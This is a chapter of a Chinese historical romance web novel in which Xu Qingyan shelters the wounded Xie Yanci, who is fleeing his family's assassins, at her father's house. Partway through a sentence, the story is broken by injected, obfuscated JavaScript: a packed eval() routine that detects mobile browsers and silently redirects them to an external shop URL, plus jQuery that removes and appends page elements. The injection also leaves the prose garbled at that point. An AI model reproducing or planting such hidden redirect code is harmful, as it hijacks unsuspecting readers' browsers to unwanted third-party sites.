徐清晏叹了口气,解释道:“谢公子,我是徐家女儿,我爹找了你很久了,你先跟我回府避一避吧。”
说完是一阵沉默,等了片刻依旧沉默,直到徐清晏以为这个人会拒绝她。
终于,谢砚辞开口,每个字砸的清楚:“可以。”
然后他话锋一转,带着几分掂量和讥诮,“不过徐姑娘可要想清楚,”他补充道:“收留我可不只是多添一副碗筷这么简单。”
没有威胁也不算提醒,只是把选择权推给她,他却一副你最好考虑好的态度。
徐清晏一噎,被他的话堵住,这人都大难临头了还在嘴硬。
她压下不明的火气,“谢公子,添一副碗筷徐家还是担得起。”
正说着,谢砚辞忽然晃了一下,肩胛处洇出汩汩鲜血。
“姑娘,他,他流血了!”
徐清晏想扶住他,这人自己倒先扶着木桶站稳了,像是不需要她的帮助。
“谢公子,你跟我回去吧,先把伤治好再说,你这样万一又被那群人抓住可怎么办。”
谢砚辞抿了抿唇,脸色苍白,唇角动了动,“好,可以,我跟你回去。住一晚我就走。”
没有软声道谢,也没有狼狈恳求,倒像敲定了一笔银货两讫的买卖。
徐清晏白了他一眼,心想你这样子住三晚都不一定能好,但她还是把话憋了回去。
春桃看定了下来,往外望了望,“咱们现在能出去吗?”
谢砚辞往外迈了一步,淡淡道:“他们朝南边走了,出去走后街安全。”
徐清晏眉梢动了动,“你这么清楚?”
谢砚辞不以为意,“逃难的人总要学会记路。”
望着他的背影,徐清晏心里不知为何软了一下。
他前世能一路进京赶考,明明是个出色的苗子,如今却要东躲西藏,还寄人篱下。
她原来只当这人是个寒门贵子,没想到是被人亲手推下泥沼,才生生磨出了这般冷硬的性格。
到了徐家,门吱呀一声被推开,赵福抱着账房册子路过,一看到徐清晏刚想搭话,目光却落在谢砚辞身上。
这少年衣角处、肩胛处皆是血,吓得赵福有些愕然。
“姑娘,这......这是?”
来不及和他解释,徐清晏忙问:“赵叔,我爹呢?”
“老,老爷从商会回来了,现在在书房对账呢。”
徐清晏回头看了谢砚辞一眼,对春桃交代:“你先带他去偏厅待着,倒杯茶坐着等我。”
说完她火急火燎地赶到书房找徐守谦。
此时徐守谦正皱着眉头拨弄算盘,一抬眼看到徐清晏跑过来,当即疑惑:“怎么慌慌张张的,可是遇着什么事了?”
“爹,”徐清晏走到桌边,压着声音把窄巷里的遭遇快速说了一遍,“我今日本来想去铺子,结果路上遇到打手,那些人一路追杀谢砚辞,我在铺子后面碰到他就把人带回来了。”
“什么!”
徐守谦差点没反应过来,他找了小半月都杳无音讯如今却被他女儿遇到,简直是走运!
“人在哪,我去看看这孩子。”
徐守谦一边站起身也顾不上手上的账单,一边推门跟着徐清晏往外走。
“爹你都不知道他受了多严重的伤,这谢家人对自己的人也太狠了,把一个半大点的少年逼成这样。”
关于他的身世,徐清晏是从父亲那儿听来的。
这谢砚辞是谢家嫡长孙,按理说在家里地位不薄,但几年前他父亲谢崇文却莫名被人扣上贪墨军粮的罪名,最后被流放边地。
谢崇文一倒下,谢砚辞的日子可就不好过了,没多久因为母亲林氏身体拖不久,就被谢老太爷安排过继给谢二房。
这谢二房是个眼里容不得沙子的,狠心之下便将这孩子打发出谢家。
说好听些是打发,实则他临走前连林氏最后一面都没能见成,拿着一个布包,几两碎银子和玉佩就四处流浪。
谢二房还不死心,一路追到府城,硬是要将他赶尽杀绝。
如今人躲到徐家,徐守谦念及旧恩不能见死不救。
父女俩匆匆忙忙赶到偏厅时,桌上的茶一点没动,春桃正站在门边,手足无措。
谢砚辞背对着他们站在窗边,背影清瘦,他听到脚步声转过头来。
徐守谦又喜又惊,上下打量着他,“砚辞啊,这么多年不见,都长这么高了……”
谢砚辞微微颔首,准备行礼却被徐守谦拦住。
“你这孩子都伤成这样了还行什么虚礼,赶快坐下,晏晏你去让人送药来!”
谢砚辞扶着肩坐下,只听徐守谦继续问道:“砚辞啊你爹现在......怎么样了?”
他垂眸,眼神格外冷静,轻描淡写道:“伯父,家丑之事说出来怕招您笑,谢崇武的人一直在查,我爹托他的福如今还在边地。”
竟然被自己的亲弟弟摆了一道,徐清晏有些惊讶,这些事都是她不知道的,看他说的云淡风轻却字字扎心。
徐守谦唉了一声,语气有几分同情,他看着谢砚辞,劝道:“砚辞,我跟你爹也是有旧交情了,你如今就放心住下。徐家不是什么高门大户,但是也绝不会把恩人之子往外推。”
谢砚辞眸色动了动,礼貌道谢,“那晚辈就叨扰了。”
徐守谦摆了摆手,“说这些!你好好养身子,有需要的直接跟伯父说就行,对了赵福,”他吩咐道:“西跨院收拾出来没有,还有要用的东西都给准备好。”
赵福点头,“放心吧老爷,床铺好了,热水炭盆都有。”
徐守谦放下心来,“那就赶快先送砚辞去西跨院歇会儿,这东躲西藏的肯定也累了。”
徐清晏刚拿着金疮药,闻言提议道:“爹我送谢公子过去吧。”
徐守谦看了看,点头,“罢了你去就是,一会儿我让厨房把吃的也备上。”
徐清晏在前头带路,脚步不自觉地放慢了一些。
西跨院位置比较偏,但胜在清静,门前种了棵金桂,香味沿着夹道飘来。
她想起前世的谢砚辞总是一个人默默待着,坐在廊下看书,硬是没想到今日会捡了个浑身是伤的他回来重走这条路。
推门进去,里面陈设简单却干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844342|211708||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
净,床铺好了新褥子,火盆里添了银霜炭,靠窗一张乌木案几。
春桃一边帮忙倒热水一边道:“谢公子,这间屋子姑娘早就叫人收拾好了,就等着......”
“春桃!”
徐清晏打断她,生怕她走漏了什么,毕竟她也只是按照前世记忆给父亲搭把手而已,说的好像专程迎接他似的。
“谢公子,”徐清晏递给他一些衣物,“你先暂时穿着,这是我爹年轻时的,都洗干净了,药也在这儿,你有什么需要叫下人就好了。”
谢砚辞眉梢动了动,接过衣服,“多谢。”
徐清晏诚恳地继续道:“谢公子,你多住几日真没事,外面风声那么紧,你等他们离开府城再说不好吗?就一双筷子的事,真不算过分。”
他当然知道外面的情况,谢二房要杀人灭口,如今能冒着得罪谢家风险的整个府城就只有徐守谦一家。
“好。”他想了想,没再回拒。
这时门外有半个脑袋探过来,徐景怯生生地往里面张望,又怕又好奇。
徐清晏招手让他过来,“景儿,你来啦,快过来,外面风大。”
徐景一双圆溜溜的眼睛左右打量着眼前这个陌生人,跑到徐清晏身后指了指,“姐姐,这个是哥哥是谁啊?”
徐清晏摸了摸他的头,“这个是砚辞哥哥,以后他就住徐家了,你看到人了要记得喊。”
徐景犹豫半天走到谢砚辞面前,小声如蚊虫,“砚辞哥哥。”
谢砚辞看了他一眼没说话,脸上的表情淡淡的。
徐景看他也没想象中那么凶,于是伸手递了一颗松子糖过来,糖有些被捂软了,“给你吃。”
他放到桌上,又迅速拉着徐清晏,“姐姐,厨房做了南瓜羹,你带我去。”
徐清晏无奈笑了笑,对谢砚辞说道:“谢公子,那我们就出去了,一会儿我让赵叔把吃的送过来。”
谢砚辞微微点头,等他们走后,他反手闩上门。
只听门外两人的对话隔着窗传来。
徐景嘟囔:“姐姐,砚辞哥哥好安静啊,话好少。”
徐清晏戳了戳他的肉脸,笑道:“砚辞哥哥只是受伤了,人很好的,你呀跟个小麻雀一样,整天闹嗡嗡的,记得别去打扰哥哥知道吗?”
徐景不满意这个回答,跺脚道:“我才不是麻雀!”
徐清晏哭笑不得,“好好好,你不是,你是小黄鹂好了吧!”
闲聊声逐渐飘远,谢砚辞眸子里的冷淡了些许,他走过去倒了盆热水,褪下肩头的衣服。
血已经凝固了一半,他把衣服扯下来的时候,布料还沾着伤口,血肉模糊,但他眉毛都没动一下,面无表情地把伤口清理干净又涂上药膏。
好像是早已习惯了这些疼痛,谢砚辞若有所思,想起被谢崇武的人逼到城西废窑的日子,现在能有个地方遮雨已经是不幸之中的万幸。
只要活着一天,就不会轻易饶过那些当年欺压他的人,只是他现在力量太薄弱,得想办法强大起来。
少年的脸上还有血痕,不见半分乞讨的狼狈,反而眼里的狠戾多了几分。